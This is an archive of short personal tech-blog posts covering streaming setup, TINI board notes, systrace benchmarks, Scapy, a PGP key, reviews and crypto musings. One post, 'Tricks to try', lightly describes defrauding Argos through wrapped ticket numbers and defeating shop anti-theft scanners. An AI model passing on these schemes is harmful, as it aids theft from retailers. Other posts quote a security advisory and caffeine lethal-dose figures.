  You should now be able to startup icecast (pass the -c option to specify the config file). In another terminal goto the dsproxy source directory and run ./reader -x -e -s | /path/to/ices-2.0-Beta2/src/ices /path/to/ices-2.0-Beta2/src/ices.xml.public. That should start the source up, it will log to the terminal. Now start realplay and run the Radio 4 stream (http://www.bbc.co.uk/radio4/realplayer/media/fmg2.rpm). You should be able to stream from http://testhost:8000/radio4.ogg.

  It's pretty rough still, but it's working for me at the moment.

  Altered Carbon

  I needed a book to read (had few days without a computer) and Altered Carbon seemed a good a choice as any and I'd recently read this /. review about it.

  This book isn't going to be as influential as the /. reviewer thinks. As far as sci-fi goes it's mediocre. It's set in the future, rather than being an exploration of it. People in this world have the ability to digitise their minds and switch bodies as market forces allow. But this just provides a few neat plot hooks - it isn't an Egan like world here.

  What this book does give is a really good detective story. Not a culture changing item, but excellent crime-sci-fiction.

  The end of term involed t...

  The end of term involed the Union Summer Beach Party. Not quite sure about that name, there wasn't much beach involed. It did invole several days of setting up with miles of cables going round the quad. The photos are here. It looked pretty stunning and everyone seemed to have a good time. I'm afraid, however, that after working 14 hours on Thurs and 16 on Friday I went to sleep about 1am Saturday morning, leaving the rest of the crew to strike the fixtures. In my defence, I did have to be up at 7 to pack!.

  Some pics of the photos

  • The bat like scaf and bag frame for the Scans that we put on the roof
  • Some of The Crew having pizza including Headbanging Polly, Grinning Ant and Woo-I've-Just-Got-A-First Andy. (I'm in there too, but looking pretty boring)
  • The front of the Union lit up.
  • Another random subset of The Crew (I'm far right)
  • A shot from the early night
  • "So, how close to the Albert Hall are you"
  • Very pretty shot - the wonders of parcans
  • Later that night
  • Some of the sound stage..
  • ..more of the sound stage

  Defending C++

  Ian:

  Don't bother telling me that Freenet should be implemented in C++ unless you are willing to spend months illustrating your code on stretched leather with a carefully prepared pheasant feather while paying particular attention to the initial "#".

  Well, I did do this and here's why:

  • I wanted to learn C++
  • The Java Freenet code was making mistakes in areas such as crypto that only an independent implementation was going to uncover
  • I don't like Java

  I learnt C++ pretty well and it really is a messy pre-processor for C. There are hundreds of tiny quirks waiting to bite you, not just in the language, but with each different compiler (looking at Microsoft here). It's a mess and really shouldn't be used for anything, but it still is. And that's not just because the great unwashed masses haven't learnt about Java.

  C++ is popular because it's actually a good tool for a lot of jobs - still riding C's wave from the 1970's. Interfaces are written for it and with it in mind and some people have done jaw-dropping stuff with such a mess of a language.

  (I've never used C# - and I'm in no position to comment on it directly. I'm just using the general opinion that, in language space, C# is standing on Java's toes.)

  But that certainly doesn't mean that everyone would be using Java and C# if C++ didn't have so much momentum. Despite great improvements, Java code is still just slow. Even on fast machines you can feel the lethargy of Java GUI programs. No amount of micro-benchmarks change this. And the Java library isn't just "artistically uninspired", it's cringe worthy - huge class names everywhere and interfaces designed by committee. At least C/C++ interfaces are generally short and to the point.

  To some extent Ian is correct, however, that Java is more of an engineering language than an artists language. Java does manage to give programming idiots a language which they can use in a big organisation without giving them sharp objects to poke themselves with (e.g. pointers).

  But if you are going to get away from C's perfectionism then I would suggest that Python is a far better place to be. Python for the times that you want brush strokes with C modules for the awkward details. Java/C# is to thin to cover with and too thick to touch up with.

  Usually I shrug off a col...

  Usually I shrug off a cold in a few hours but, right now, everytime I sneeze it feels like most of my throat is ripped out and I think my brain is trying to crawl out my left ear.

  But anyway - X auto-configuration is quite painful. The basics (finding video cards) is pretty trivial, but how do you find the model name of the LCD connected? (possible) and how do you do that for each of a number of different video cards on the same PCI bus, each with multiple heads? From what I can see VESA just wasn't designed to handle multiple cards.

  On the same project, how do you get a BIOS device number from a devfs name? Going from devfs => classical /dev just involves walking /dev/discs but, as far as I can see, there is no mapping to BIOS device numbers (needed for GRUB). For example, my kernel loads my SCSI MegaRAID before my Adaptec SCSI - but my BIOS does it the other way round. Aggh!

  Ian seems set on making up for lost blogging time with a flurry of interesting posts. I'm sure he can't keep it up for long, so enjoy while it lasts.

  Looking in my bookmarks:

  • CSS3 Selectors
  • Computer Stupidities. I've come across it before, but I hadn't seen it in quite a while. It's really good (real-life? possibly) BOFH suffering material.

  Smyle Productions: Googlebomb

  Smyle Productions <- attempt to Googlebomb the company that did the Imperial Summer Ball. Unfortunately I don't have any photos from it (yet).

  This is from a nameless p...

  This is from a nameless person (not a student, however) in the Dept of Computing

  my main computer has been disconnetted and Catherine Wang's hard-disk and keyboard connected to my screen.

  I so wanted to ask her for a PS2+IDE to VGA wiring diagram.

  I'm glad that Ian liked...

  I'm glad that Ian liked Equilibrium. Someone pointed this film out to me a couple of months ago and I argee this it's pretty fantastic. It's interresting what difference a marketing budget can do; in my opinion this film is better than The Matrix.

  There's very little new in it - pretty much everything comes straight from 1984, Fahrenheit 451 or The Matrix, but you know what? It doesn't really matter because they've taken the good parts.

  O'Reilly 25th

  This year is the 25^th anniversary of O'Reilly as a company. To celibrate O'Reilly had a boat party going down the Thames (the river that runs through London).

  I wouldn't wish to pick out a few names from the numbers there so I'm not going to. But there were over a hundred authors, editors and members of the UK Linux/Open Source community there as well as the guest of honour, Mr O'Reilly himself (who was about 45 minutes late .

  Free food, free bar, interesting people - what more could you want? I had a great time.

  Read this if, and only if...

  Read this if, and only if, you have seen the Matrix Reloaded already.

  Ian has updated his blog with quite a long entry. Here's a reply I sent via email:

  Whisper: Do you pad messages? I'm sure you have considered that the IRC backend
  still allows for traffic analysis, but I'm not sure how useful traffic
  analysis is in IRC style conversations.
  
  I've not played with C# much, but I don't think I would use it out of choice
  from what I've read about it. Any particular reason you choice it over
  Java for this? 
  
  WebQuest: Not a new idea - but you would be the first if you actually got it
  to work nicly. The whole trick here is that it will get spammed to hell as soon
  as it becomes popular. You don't mention how you act against this.
  
  Using Google as a backend and tweaking the search query is a nice trick.
  
  "Collaborative Filtering" of course springs to mind and a trust web could solve
  your spamming problem at the cost of bootstrapping problems (you need people to
  form a trust web, but people are going to bother unless there are already people
  doing it).
  
  Kanzi: Shame it didn't work out as shareware - but I'm glad to see it going Open
  Source (at some point).
  

  Systrace timing tests:Tes...

  Systrace timing tests:

  Test	Normal	With Systrace
  getuid	0.871	1.38
  getpid	0.871	1.38
  stat	0.871	1.38

  All 3 tests did a million calls of their respective syscalls. The first two were setup in systrace to allow everything. The filesystem test was setup to allow only if a regexp matched.

  Conclusion: the overhead is pretty much fixed - and not really that huge unless you are really syscall dependant.

  Tricks to try

  • Gosling: Rediscovering Lisp - one tragic step at a time

  Go into Argos, buy something really cheap and leave. Wait (possible several days) for the ticketing system to wrap round (it's only 3 digits) and go and claim an (almost certainly) more expensive item with the same number (they never check the description, which is in a much smaller font). For bonus points, have a friend get the duplicate ticket and walk off with 2 of the expensive item after the friend complains that his never arrived.

  Get a transmitter that triggers those resonance scanners that shops have at the exits (or just stick a tag on one, if you can). Wait for them to get so upset that they turn them off. (they are pretty much the only security in most shops). For bonus points get a transmitter powerful enough to trigger a whole shopping center.

  Snippets

  Something that I really should have known before:

  for x in `cat file`

  ... will tokenise file but

  cat file | while read x

  ... will do line-by-line processing, which is often what you actually want.

  Systrace and SELinux

  • The last nation on Earth gets TV - "almost 50% of the children watch for up to 12 hours a day"
  • Law Lords gone and Lord Chancellor abolished after 1400 years
  • Public Domain Postcard

  I installed a system with systrace and SELinux, but I haven't had time to play about with them much yet. SELinux, from first looks, seems very complex - probably too complex for most uses. Systrace, however, is small and sweet. I've not looked at how it's implemented yet, but I suspect it might have quite a system call overhead, however. Will have to benchmark it.

  Saw Chicane live and he/they performed quite a lot of their new album which was very impressive. It was their old stuff which got the crowd going though. 16 18" drivers in a small venue hitting resonance is quite awe-ful^*.

  ^* - that's awe-ful not awful - which is defined as meaning what awful used to mean.

  Coming up this week is O'Reilly's 25th anniversary (possibly just O'Reilly UK's 25 actually, now I come to think about it) and I get a free boat trip on Thursday to celebrate.

  The Hardened Gentoo proje...

  The Hardened Gentoo project has put a box on the net with a public root password. It's running SELinux and, even with root access, it should be secure. Go give it a try if you like.

  I'm building it at the moment to give it a play tomorrow.

  Everyone is tidying up li...

  Everyone is tidying up like mad around here because the Rector (head of the college) is visiting on Monday. We're showing off like never before (and have more funky, massive LCD screens than one can shake a stick at) so we're taking some pretty pictures to put on some SunRays (thin clients).

  Dave is a little shaky with the camera, but...

  • Random Machine Room shot of some of our cabs
  • Pyschodelic picture of our switching fabric
  • Shot of about half of the machine room

  and (if I keep it running over the weekend) pretty graphs!

  Been busy listening to, t...

  Been busy listening to, taking part in, filming for and going to the concert of.

  London feels like Los Ang...

  London feels like Los Angeles at the moment. Unfortunately it feels like the really hot inland areas of LA and not the constant-temperature-24-hours-a-day-with-sea-breeze bliss that is Santa Monica. The AirCon units in the dept are starting to fail.

  But I'm afraid, Ian&Janie, that it isn't going to last. This is England, which means it's really going to piss down soon.

  TINI Stuff

  Here's a writeup of my notes on setting up TINIs

  Setting Up TINIs

  Loading Firmware

  TINIs come with no firmware loaded and the first order of the day is to fix this. Even if your TINI has fireware loaded you may still wish to reload at as a method of extreme reset.

  Firstly, grab version 1.02e of the SDK. Version 1.02f came out between my experiementing with the TINIs and writing this, so if you have problems you may wish to try it.

  The SDK is written in Java and uses the Java Serial Port API to talk to the TINI. JDKs on Linux don't support this API so you either need to use a Windows box or (as I do) install RXTX. I'm using version 1.4 of RXTX. Follow the install instructions that come with RXTX (you need root for this). You also need to chgrp csg /var/lock (assuming you are going to run the SDK as a non-root member of group csg).

  Now make sure that the TINI is wired up correctly. You should be supplying 7.5V DC into the power socket. The TINI docs say 5V, but it seems that the voltage regulator needs quite a bit of power. The polarity doesn't seem to matter.

  You should also have a straight through serial cable running into the female serial port of the TINI (labled J6). In the end, I got fed up with wondering if the cable was actually correct and plugged the TINI into the back of the computer.

  (from this point on, this information is in the TINI book)

  Now try firing up the fireware app:

  • cd tini1.02e/bin
  • java -classpath `pwd`/tini.jar -noverify JavaKit

  Select a comm port (if you don't see any, your RXTX install isn't correct) and click "Open Port". Now click "Reset". You should see the TINI talking to you. If you don't then try the other serial port and then look at the wiring carefully.

  From the File menu, load tini.tbin followed by slush.tbin from the tini1.02e/bin directory. This will take a little time over the serial cable.

  Now, in the SDK terminal window type these commands exactly, each followed by Enter:

  • BANK 18
  • FILL 0
  • EXIT

  The TINI should now boot. The default root password is tini

  TINI Networking

  Once you have a root console on the TINI you probably wish to delete the guest user with userdel. You can then setup networking with ipconfig -d (uses DHCP). The ipconfig -C will save the setup to Flash memory for when you reboot.

  TINI Programming

  General

  The TINIs have a small java virtual machine and can run java class files so long as they only use the supported subset of the libraries. TINIs only support Java 1.1 code and then, only if it has been specially premangled.

  Building .tini Files

  Firstly you need to build the class files for each .java file you have

  • javac -target 1.1 -classpath /tini1.02e/bin/tiniclasses.jar File.java

  Once all the .class files have been compiled, put them in a directory and run the premangler on them:

  • java -classpath /tini1.02e/bin/tini.jar TINIConvertor -f directory -d tini.db -o HelloWorld.tini

  See the 1-Wire chapter in the TINI book for details of the actual java. The driver for the temperature sensors had to be dug up using Google. It's called OneWireContainer10.java and I should have a copy if it's needed

  Ok, so it's been too long...

  Ok, so it's been too long since I updated this. This is the most interresting thing I've read in a while [via lambda]. For any Postgres admin's out there this script that/which I wrote is a better replacement for pg_dumpall (you'll need PyGreSQL).

  Incidently, Python disttools bdist_rpm is very useful and cool.

  Local record store was holding a closing down sale and the Fellowship of the Rings soundtrack was one of the things I brought. I never realised that the choral work was done by Enya. It's a really good soundtrack.

  That's all I can think of for the moment.

  SysOps in Iraq

  • SysOps in Iraq
  • Turing Complete Protozoans

  I'll get round to describing my current project at some point. It's neat, but nothing very exciting. (it will have some useful Twisted Python snippets thou).

  In perhaps the most impressive display of War Against Drugs cluefulness so far the UK govt's latest drugs site is actually half correct. See their page on LSD - I wouldn't really disagree with any of that.

  Of course, it's not Erowid, but it's a big step in the right direction.

  Yesterday, O'Reilly sent ...

  Yesterday, O'Reilly sent me a note about their OpenBook project. More or less, they are reverting to "Founder's Copyright" where copyright only lasts 14 years (with an optional extention of another 14). After this time, O'Reilly release the book (on that website) under a Creative Commons license.

  The options to O'Reilly author's (i.e. myself) are 1) To agree 2) To decline 3) To take a 3 month option to find another publisher after 14 years, otherwise it goes free. (Guess which I chose).

  I'm really impressed that O'Reilly are doing this. Sure, computer books aren't going to be making much money after 14 years but even so, it's a damm good point of principle.

  How the heck, 3 weeks int...

  How the heck, 3 weeks into term, have I ended up with 2 odd socks? I always put a matching pair on in the morning and I'm pretty sure it stays that way during the day. It would be pretty tough to change one of my socks without me noticing. Perhaps if aliens were performing snap abductions just in order to do this (I can't think of any other way) but that would be frankly mind boggling.

  And it's not like there's a lot of places to hide a sock in my room. Sure, there's a fair amount of junk on the floor at any one time, but it gets turned over pretty often and if they were hiding in it I would be covered in random socks all the time; and I'm not. There's also always a fair amount of lint in the tumble dryer after a wash, I suppose. But I don't think that my socks (which survive so much during an average day) are getting atomised by a mere dryer.

  There's just no way that amotile inanimate objects could do this - which leads me to conclude that socks aren't in fact inanimate. Given the state of some people's shoes at the end of a day it wouldn't take too much for intelligent life to develop, I'm guessing. And, by definition, life tends to replicate so perhaps a number of everyone's socks are normal and the rest are living socks - able to run away at will (sorry about the pun) and so everyone is left with the odd, non-living socks.

  Just a couple of interres...

  Just a couple of interresting snippets from New Scientist that I picked up this morning:

  Firstly, there is a really terrible soap called Eastenders in the UK, possibly we export it too - I'm not sure. Anyway - like any soap it's completely over the top; at least it seems that way. New Scientist has figures averaged over the 18 year run time of Eastenders:

  Behaviour	Real Life (% of pop)	Eastenders (% of pop)
  Homicide	0.0016 %/year	0.22 %/year
  Rape	0.3 %/year	0.35 %/year
  Infidelity	women: 9 %/year, men: 14.6 %/year	women: 2 %/year, men: 1.7 %/year
  Men paying for sex	4.3 %/year	0.18 %/year
  Deceived fathers	10 %/year	5.8 %/year

  So, except for homocides, Eastenders is actually tamer than real life (consider that rape is vastly under reported in offical statistics). That is a deeply depressing thought.

  On another topic, a couple of pages later

  The vassopressin receptor gene (...) is controlled by a promoter whose length varies between species. The expression of this gene in certain parts of the brain in rodents seems to be necessary for them to form monogamous pair bonds - to fall in love, as it were.

  (...) the prairie vole has a 460-base-pair insert in the gene's promoter which is lacking in its close relation, the montane vole. This has the effect of causing the gene to be expressed in a part of the paririe vole's brain where it is absent in the montane vole. It makes that part of the brain sensitive to vasopressin, a molecule released into the brain by the act of sex. (...) the male prairie vole becomes "socially addicted" to females it has had sex with, whereas the montane vole is socially indifferenet to its mates. (... the first species is monogamous, the second polygamous ...) The human vasopressin receptor gene looks not unlike the parires vole gene in both its promoter length and its expression pattern. But it varies in length between individuals. (...) the probability of divorce is highly heritable, and adopted people are more like their biological parents than their adoptive parents in this respect.

  TINI

  Well, all my exams are finally over (most of them went ok) so it's back to play time and today's plaything is a TINI

  It's a small (SIMM sized) Java processor that can drive a couple of serial ports, a 1-Wire net and Ethernet (10BaseT). Although the TINI itself is only SIMM sized, the connection board is a fair bit bigger; though still pretty tiny.

  The SDK contains a Java app that is supposed to load the firmware via the serial port and could I get it going? Could I bugger. I spent about 4-5 hours swapping serial cables/making serial cables/swapping computers. At one point I even had it plugged directly into the back of a computer just to eliminate cabling from the equation. After a while I decided that I couldn't possibly make it any worse and decided to play with the last option left - supply voltage. Now, the manual says it takes 5V +/- 5%, but (despite the LED being on at 5V) it only came to life at 7.5V. Aggh! Anyway - it's working now.

  It starts up a telnet and ftp server and you can upload preprocessed Java class files to it for execution. On the 1-Wire port I currently have a DS1820 temperature sensor (which says that it's 21C in Systems at the moment). Hopefully in future there will be a number of TINIs around the department with a number of DS1820s monitoring comms and machine rooms.

  If you like, you can reach it (for a while at least) at tincan.doc.ic.ac.uk.

  Nothing to see here for a...

  Nothing to see here for a while - I have maths exams all this week

  Due to a couple of oversi...

  Due to a couple of oversights (nothing to do with me, honest!) the whole Freenet website was lost today and SF can't/wont restore it from backup.

  So this evening has been a process of setting up CVS to sync to the live website on the fly and digging around in Google cache for all the snippets I can find of the website in order to patch it together again. Phew.

  With pot and porn outstripping...

  • With pot and porn outstripping corn, America's black economy is flying high
  • Too clever too fast too happy a slightly romantic call to arms against GE humans
  • 'Phone threat' to air safety - you really have to wonder how they can let aircraft be so vulnerable
  • Bruce Eckel's Web Log (Thinking In {Java|C++|C#} guy)
  • FenFire. The follow-on project to GZigZag (as Ted Nelson killed that one). Have a look at their video if you have the chance - I may not like their data structure, but they have a cool interface
  • U.S. warns Canada against easing pot laws - fits neatly with the Guardian article on the black economy above

  Zooko:Structure and Inter...

  Zooko:

  Structure and Interpretation of Computer Programs: Update: I'm stuck on exercise 1.13.

  Done:

  

  (or as a PDF)

  X-Men 2

  Deep as a puddle, but great fun. Go see.

  Jeff is also thinking abo...

  Jeff is also thinking about writing style recognition like I was a few days ago.

  It's nice to know that ev...

  It's nice to know that even wizards can have total brainfarts at times (from BUGTRAQ):

  The default behavior of the runtime linker on AIX is to search the current directory for dynamic libraries before searching system paths. This is done regardless of the executable's set[ug]id status.

  This story recounts one author's experiment with a Tip Jar system for funding a book. Now, this is good reading because there haven't been enough tests despite all the advocation that these business models gets from people like me. But the book itself is fantastic.

  Lethal Dose of Caffine

  • In kernel Scheme implimentation

  Erowid (the usual reference for all your interresting drugs) was giving a couple of different values for the LD50 of caffine and I couldn't find a definative value for it. Here's the reply from Erowid that I got:

  Thanks for your note. I went back to check where the 75mg/kg
  number came from and, unfortunately, the website reference I had for it no
  longer exists. Calculating estimated LD50s for
  humans is a tricky business I'd rather not get into, so I decided
  to simply change the number to the known LD50 in rats, which is
  192 mg/kg oral.
  
  I was able to find some numbers for lethal doses in humans (not
  LD50, but doses that actually killed the individual). A couple of
  those were IV rather than oral and were significantly lower than
  75 mg/kg (57 mg/kg in one case and 7 mg/kg in another). The
  estimate of 150 mg/kg in the caffeine faq is in the right ballpark
  for an oral human LD50.                                                
  

  Kernel 2.5.68

  As the kernel staggers towards 2.6 pre series I thought it might be worth trying it out.

  Short version: it doesn't boot yet

  Longer version: Booting gets as far as the AIC7xxx driver - which hangs. Removing that drivers lets it get as far as the megaraid driver which complains all about all the error handling code that it's missing and then takes a 3-4 minutes to scan all the LUNs. Then ALSA hangs. Removing ALSA reveals that the megaraid driver didn't manage to find my RAID array and so has nothing to mount as root.

  So it will be a little longer yet I'm guessing

  How to lose weight and ha...

  • How to lose weight and hair through stress and poor nutrition
  • New project from a friend of mine at IC
  • What to look forward to in 2.6

  From this:

  Sam had to agree to handle the hardware abstraction layer (HAL) and not release the code he wrote for that component because Atheros uses a software defined radio (SDR). The company (and any individuals involved) could face huge headaches if they released code that allowed direct and simple manipulation of the SDR to work outside of a, b, or g ranges. He'll have precompiled binaries for many processors.

  So the company would be in trouble for selling a software defined radio? Is this another DMCA style peice of legal stupidiy? I'm generally pretty hopeless with hardware (I leave it to the EE dept) but even I think I could build a radio! How does banning the sale of SDRs help anyone?

  Personally, I could have great fun with a good SDR. Roll on GNU Radio! (did I read somewhere that they announced a cheaper USB device at O'Reilly ETCon2?)

  Invisiblog

  • "The end of the world as we know it (maybe)"

  Imperial shifted fileservers yesterday, which is why IV was giving access denied errors. In fact, due to the wonders of NFS, it may be down for a while longer as stale filehandles are removed.

  Invisiblog is a mixmaster based blogging system designed for totally anonymous blogging. This kind of stuff really appeals to me in a "yay freedom!" kind of way. If I had the hosting that could take the traffic and legal problems I would have done this sort of thing a while back - it's good that someone else has.

  But I would wonder exactly how anonymous they are. I have all the usual faith in Mixmaster and they seem like sensible people so I'm assuming no stupid screwups. But it's really hard to avoid slow intersection attacks.

  (Aside for people who don't know about intersection attacks: Assume I said "I was on the I10, going to work when the sun got in my eyes and I hit the central barrier, leaving a bright red mark on the barrier and a big dent in my door". From that we can say that the writer a is a member of the intersection of a) the set of people who live in LA (high chance) b) the set of people who are driving east in the morning (the sun got in their eyes) c) the set of people who have a dent in their left door / paid a garage for repairs sometime soon after d) the set of people with red cars)

  Even your style of writing can give a fair amount away. As a quick test I wrote a short python script to find the mean and std dev of the numbers of 4 charactors (';', ',', '-', '?') in each sentence and the length of each sentence.

  Given some sample data. (Where would you go to find long, rambling prose? The Freenet mailing list archives of course! ) Here are the results for 3 people:

  Ian: [(0.0, 0.0), (1.173, 1.028), (0.464, 0.677), (0.042, 0.204), (110.536, 52.722)]
  Oskar: [(0.0, 0.0), (0.675, 0.812), (0.253, 0.464), (0.12, 0.328), (97.409, 60.337)]
  Matt: [(0.024, 0.153), (0.689, 0.905), (0.262, 0.642), (0.19, 0.395), (77.963, 59.192)]
  

  (I would have included Scott, but he doesn't say enough!)

  There are a fair number of differences even in this trivial test. If they use semi-colons - it's Matt. Lots of commas? Ian.

  So, given someone who seems to know a lot about Freenet I think I could narrow it down a fair amount using this very simple test by analysing the list archives. (assuming that they post to the list)

  The lesson is: be very careful

  Scapy

  Scapy[via LtU] is a domain specific language for manipulating network packets. Actually, it's a thin wrapper around a Python read-eval loop and all the better for it.

  Also, it makes for a very neat Python packet manipulation library. Have a look at the homepage (linked to above) for a transcript demonstrating some of its neat little features.

  % python scapy.py
  Welcome to Scapy (0.9.11.1beta)
  >>> net = Net ("127.0.0.0"/24)
  >>> list = IP (src = Net)
  >>> for x in list:
  ...  print repr (x)
  ...
  <snip>
  <IP src=127.0.0.246 |>
  <IP src=127.0.0.247 |>
  <IP src=127.0.0.248 |>
  <IP src=127.0.0.249 |>
  <snip>
  >>> Ether()/IP()/TCP()/"123"
  
  
    
    
  New signing only key
    
  Since I handle nearly all my email on DoC servers now I need a signing only key because I don't trust them with my main key. Outgoing mail from me should be signed by this key. This key is not secure, however. Anything for which you would generally require a signed message should still require a message signed with my main key. Although you can encrypt to this key, doing so would be stupid.
  
  -----BEGIN PGP PUBLIC KEY BLOCK-----
  Version: GnuPG v1.2.1 (GNU/Linux)
  
  mQGiBD6lQFIRBACpwWqCQF26SdILeV2TwrCygvkIxPKlp+qqZTMymyewEKVZ9+2L
  utXBHJxhSfJnQA12Oijmu6vx+7uCYdnR+yx/oW5Q1jhDymz+ASfsXJtAUFOERCQN
  n/JjeVJCM3EMLVnlMo1oDTioxfFClHDz0lRAZS5pAPZWpVJbrs24jgzeIwCgxJx8
  Tk7yPcI4bc0cIEvEbypi+wcD/12zXIFYir2eofG+4vxz+lMyHo5LXz8E4jSRWJTZ
  a7OOzz3PyT96mShPJ34pZLZuwbE4fK7Kvzr0rAo95E2pVXoe0r7croCOs51JXc/p
  LFiSexJvF8IN4bhehOy41SAM+86TNjQFZ9KISnWWBzpMXdQki8QpfhDP7BoiiJHk
  g3s0A/0Tddp5PV++ERzp7OyD+4IgqJyiGlqOo0Mm7q4BJ+tVul9pCtj+lRpDSJpf
  WLRSWKp3+8tLK1pQ0Ds0Cco37Ug8spbQzE7klxCpAMNzoYUfIDatWwTVkPSpPjgg
  LbG6OHuIjzJtddbcDISATWqoBevEn5Gd3XXy4bdKpW+pLzE2PYhhBB8RAgAhBQI+
  pUHJFwyAEZETJWrMD3GmTIRQh82lUt8stj1gAgcAAAoJEJj1NEYcnWNMSvkAnR8C
  fvFXTA5m5isr+6ruTrfK2PmoAJ9YwEMDByNh0MjgEcsF4DPSMRY037Q+QWRhbSBM
  YW5nbGV5IChOb24tc2VjdXJlIHNpZ25pbmcga2V5KSA8YWdsQGltcGVyaWFsdmlv
  bGV0Lm9yZz6IXwQTEQIAHwUCPqVAUgUJAeEzgAQLBwMCAxUCAwMWAgECHgECF4AA
  CgkQmPU0RhydY0z9WwCfb+SpaHAqDqhsZiNGrTK6rLojuh8Anj/U/LpHkUIs5HzZ
  QlUM89IKGHH7iEwEEBECAAwFAj6lQRoFgwHhMrgACgkQzaVS3yy2PWCciQCfaTsY
  hE3fUzoYrhWuzEsMihcJY4cAn0GCjb+yq/7pJ3/4+BNAEE/llU6wuM0EPqVAVBAD
  AJ/c6QLy7yfZQN/w1AwnD845/PhQh4kOw8tAqVCkfR3+qBSvhWwTYsqzEMujGExw
  SKlSwPyOgoRgzdVF7f4Jr9xRJbHZCF9RMMQiqabzgoXxHRU/0JxnJzf0WASxiTMN
  pwAECwL+OLVlgTpb0gT8iRUY3VwzAyL4gMlkf+5eLSteUGv9PsZhzvHeZBPPv4wE
  VQSEJczbpCJp3wOia9lkEm94HCVQ4whxi6lsoh5pGB0Fi/A50kliA22uMuvf4jwZ
  PKHn7K5oiEwEGBECAAwFAj6lQFQFCQHhM4AACgkQmPU0RhydY0wIoQCgqW1Y+ea/
  ASVDzgzRmRXxjMYJe+gAoMDScujnY2t4ZQgNuW0CvuXOQWvE
  =9hlG
  -----END PGP PUBLIC KEY BLOCK-----
  
  
    
    
  Persistence
    
  Over the past few weeks I've been knocking about with ideas (which generally go under the name of Landscape) for holding data between code. Generally a byte stream (be it a pipe or a file) is the highest we get when sharing data. Too much data is far too difficult to get to and too little data is well linked.
  
  One key part of fixing this could be a persistent object store and I've been messing with Python versions of this. Firstly, ZODB is far too slow and Prevayler keeps everything in memory.
  
  Prototype 1
  
  This kept data in XFS extended file attributes and each object was a file.
  
  Pros:
  
  Nice kernel interface for non-Python code to use
  
  Cons:
  
  Requires XFS
  Inflexible
  
  Prototype 2/3
  
  This used SQL to store the objects.
  
  Pros:
  
  Again, a nice interface for non-Python code
  SQL has transaction ability
  Backlinks are handled just by a different SQL query
  
  Cons:
  
  SQL is pretty slow - would have to read and write cache
  
  Prototype 4
  
  This uses proxy object that act as far pointers and pickle/unpickle objects on demand
  
  Pros:
  
  Deals with any pickleable Python object (e.g. most of them) well
  
  Cons:
  
  Pain for anything non-Python to use
  At the moment the code is a bit flaky. Playing with the garbage collector is a dangerous (and non-deterministic) game.
  
  Ramblings
  
  These are, of course, only prototypes to play about with these ideas. The true way to do it would be to use EROS. But EROS isn't seeing much take-up (I've not even got it to boot) and it might be better to put the neat bits of EROS into Linux, even if they don't all fit.
  
  Prototypes 1 and 2 only support dictionary type data and Prototype 3 has slightly bodged support for other objects (they can have a .type link, pointing to the python code to be imported). Supporting other types of objects is very important for objects like (for example) the mixer which has to get and get its values from/to somewhere else.
  
  The interface is also very important. Finding the right set of ideas to simply abstract data is a very hard problem. The interface to the same is possibly just as hard.
  
  At the moment the interface is shell like but different types of objects will need more than that. It remains to be seen if some objects will need to handle the interface themselves to the level that they do today (e.g. GTK/QT level APIs) or if a system akin to XHTML/CSS will do.
  
    
    
  Evil Bits
    
  
  PyCon 2003 Papers
  
  
  When putting my email address on webpages I usually have it as aglREMOVETHIS@imperialviolet.org. Spammers have never bothered to try and decruft these addresses because there was always lower hanging fruit.
  
  Well, today I got email addressed to aglTHIS@imperialviolet.org. I guess the fruit isn't so low any more.
  
  
  
  A reply that the author of the `evil bit' RFC (3514) got. Note the company name at the bottom. (it was an April Fool's joke - for those who don't know))
  
  
  What or who determines the "evilness" or "goodness" of the packet? If a security admin or OS can determine or flag bits as good, what keeps the hacker from spoofing this process by setting the bit to "good"? Does the bit change based on behavior? Or maybe a database with signatures of "bad" bits?
   
  
  (name deleted) 
  Microsoft Corporation 
  
  
    
    
  Nothing much to put up he...
    
  Nothing much to put up here. Been revising lots and still waiting for the CapPython PEP . Wondering about interfaces on landscape, but I doubt I'll do anything about that for a long time.
  The dog's sprained something and now has a leg in bandages.
  
    
    
  LuFS
    
  Ok, LuFS is pretty fantastic. Unlike all other other userfs implementations that I've come across it actually works, and it's fast. Using its localfs module (which just tests the LuFS interface by mirroring the existing filesystem) the speed difference is epsilon. Certainly for networked filesystems the LuFS latency is swamped by the network.
  
  It's FTP and SFTP modules really work quite well, I certainly expect to be using the SFTP one when I'm back at Imperial.. It also supports autofs mounting so that you can just cd into (say) /mnt/sftp/agl@somehost and it will sftp (or ftp) mount it for you on the fly.
  
  And the localfs module could be a wonderful way to chroot some difficult programs by mapping on a configured set of directories read-only. Though it would need some of the grsecurity kernel patches for it to actually be secure.
    
    
  Capability Python
    
  Zooko's blog had been down for a fair time as he changed hosting, so I only noticed today that he had started posting again.
  
  Recently, he's been talking about adding capabilities to Python and, oddly enough, I was thinking about the exact same thing yesterday. If some of the introspection abilities of Python were limited, it would make a very effective capability language by using references as a capabilies. Thankfully, from following some of the links on the python-dev archives (below) it seems that a PEP is being worked on.
  
  Once the language is limited, the standard library needs to be looked at. The Python people aren't going to accept the gutting of the library for the needs of capability freaks, so many of the modules will have to be proxied as they have dangerous functions (for example, taking a filename not a file handle).
  
  Also, some of the standard functions (thinking of __repr__ here) leak a little too much information and could be trimmed without loss of useful funtionality. Leakage increases the bandwidth of side-channels. You can never be rid of side-channels, but you can stomp them as much as possible.
  
  
  [Python-Dev] Capabilities
  [Python-Dev] Capabilities (we already got one)
  Re: [Python-Dev] Capabilities (we already got one)
  
  
  Defense Against Middleperson Attacks
  
  Zooko has also written a nice crypto paper. However, I had to scribble notes when reading it and hope that this version is a little easier to understand:
  
  
  Defence Against Middleperson Attacks
  Zooko, <zooko AT zooko DOT com>
  
  The Problem
  
  Alice thinks she's pretty hot stuff, chess wise, and bets that no one can beat her in a game. Bob takes her up on this challenge and the game commences. Unknown to Alice, Bob is also playing a game against a chess grand-master. Whenever Bob gets a move from Alice, he plays that move against the grand-master and relays his response to Alice. The grand-master trounces Bob, and so, Bob trounces Alice. Bob wins the bet.
   
  
  Somehow, Alice wishes to know that the identity of the person playing her matches a given public key. That way, if she encrypts prize to that key she knows that Bob cannot cheat her - the surprised grand-master would get the goodies.
  
  The Solution
  
  Dramatis Personae
  
  Alice's Move: m1
  Bob's Move: m2
  Alice's Public Key: PKA
  Bob's Public Key: PKB
  Random Nonces: n1 and n2
  A Shared Integer: K
  
  
  Alice is ready to make the first move in the chess game. She calculates:
  
  Message1 = (m1, PKA, n1)
  Commitment1 = Hash(Message1)
  
  Alice transmits Commitment1 and sleeps K seconds. Alice transmits a signed copy of Message1
  
